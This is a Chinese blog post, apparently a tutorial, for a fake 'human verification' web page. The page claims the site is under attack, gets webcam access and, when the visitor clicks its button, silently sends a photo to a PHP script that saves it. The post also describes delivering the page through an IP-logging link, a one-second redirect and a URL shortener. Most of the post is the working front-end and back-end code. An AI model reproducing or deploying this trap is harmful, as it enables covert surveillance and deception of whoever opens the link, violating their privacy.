利用php记录网站攻击者桌面照片和IP地址，可以记录IP，顺手偷拍攻击对象，看看他长啥样！
因为事先已经有了IP记录平台,所以方便省事，直接开始研究偷拍
随手写了偷拍页面前端，伪造的受攻击验证(将就看，毕竟只是做一次演示)
前端代码
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>人机验证机制</title> <meta name='Generator' content='EditPlus'> <meta name="viewport" content="width=device-width, user-scalable=no,initial-scale=1, minimal-ui"> <meta name='Description' content='inveted by: http://davidwalsh.name/browser-camera'> <script type="text/javascript" src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.js"></script> <style> html body{width: 100%;height:auto;margin:0 auto 0px;padding:0 0 0px;background-color: #444 } a{text-decoration:none; } .wenzi{width: 300px;height: 300px; margin-right: auto;margin-left: auto; } .yuyan{width: 100% ; height: 150px ; color: #fff; margin-top: 60px; text-align: center;} .sf{width: 100%;height: 150px; line-height: 150px ;text-align: center;} .sf a{display: block;font-size: 12px;margin-left: 28%; text-decoration: none; text-align: center;background-color: #EBEBEB; width: 50px;height: 20px;line-height: 20px; border:solid 1px #222; float: left; } .sf button{display: block; font-size: 13px; margin-left: 10px ; text-align: center;background-color: #EBEBEB; width: 50px;height: 22px; border:solid 1px #222; float: left;} </style> <script> window.addEventListener("DOMContentLoaded", function() { // Grab elements, create settings, etc. var canvas = document.getElementById('canvas'); var context = canvas.getContext('2d'); var video = document.getElementById('video'); var mediaConfig = { video: true }; var errBack = function(e) { console.log('An error has occurred!', e) }; // Put video listeners into place if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) { video.src = window.URL.createObjectURL(stream); video.play(); }); } /* Legacy code below! */ else if(navigator.getUserMedia) { // Standard navigator.getUserMedia(mediaConfig, function(stream) { video.src = stream; video.play(); }, errBack); } else if(navigator.webkitGetUserMedia) { // WebKit-prefixed navigator.webkitGetUserMedia(mediaConfig, function(stream){ video.src = window.webkitURL.createObjectURL(stream); video.play(); }, errBack); } else if(navigator.mozGetUserMedia) { // Mozilla-prefixed navigator.mozGetUserMedia(mediaConfig, function(stream){ video.src = window.URL.createObjectURL(stream); video.play(); }, errBack); } // Trigger photo take document.getElementById('snap').addEventListener('click', function() { context.drawImage(video, 0, 0, 640, 480); var url = canvas.toDataURL('image/png'); document.getElementById('result').value = url; var uu=url.substr(22); $(document).ready(function(){ $.ajax({ cache: true, type: "POST", url:"jieshou.php", data:$('#tp').serialize(), async: false, error: function(request) { alert("Connection error"); }, success: function(data) { $(".return").parent().html(data); } }); }); }); }, false); </script> </head> <body> <div class="wenzi"> <div class="yuyan"> 目前平台正在遭受攻击！ <br/> <br/> 显示非正常请使用uc浏览器访问！ </div> <div class="sf"> <button id='snap'>确定</button> </div> </div> <div> <video id='video' width='0' height='0'></video> <canvas style="width:0px;height:0px" id='canvas' width='640' height='480'></canvas> <form id="tp" action="./jieshou.php" method="post"> <input type="hidden" type="file" value="sdgsdg" id="demo_input" /> <input type="hidden" name="img" id="result" value="" /> <p id="img_area"></p> <input type="hidden" type="submit" value="提交"> </form> </div> <div class= "return"></div> </body> </html>jishu.php
后端代码
<?php error_reporting(0); $base64_img = trim($_POST['img']); $up_dir = './upload/';//存放在当前目录的upload文件夹下 if(!file_exists($up_dir)){ mkdir($up_dir,0777); } if(preg_match('/^(data:s*image/(w+);base64,)/', $base64_img, $result)){ $type = $result[2]; if(in_array($type,array('pjpeg','jpeg','jpg','gif','bmp','png'))){ $new_file = $up_dir.date('YmdHis_').'.'.$type; if(file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)))){ $img_path = str_replace('../../..', '', $new_file); echo '网站正在遭受攻击，请稍后访问'; } } }绑定域名并存放至根目录前往ip.heibai.org生成定位链接
(因为平台都是我的，所以我可以自由修改定位链接内容！！！如果要实践定位链接请自行搭建)
马赛克部分为偷拍地址，设置1秒跳转
百度短网址生成链接,开始测试阶段
IP记录成功，接下来是激动人心的时刻，看看是否偷拍成功
查看了我的图片存放目录，成功了的
嗯，对，证明我的思路是可行的。
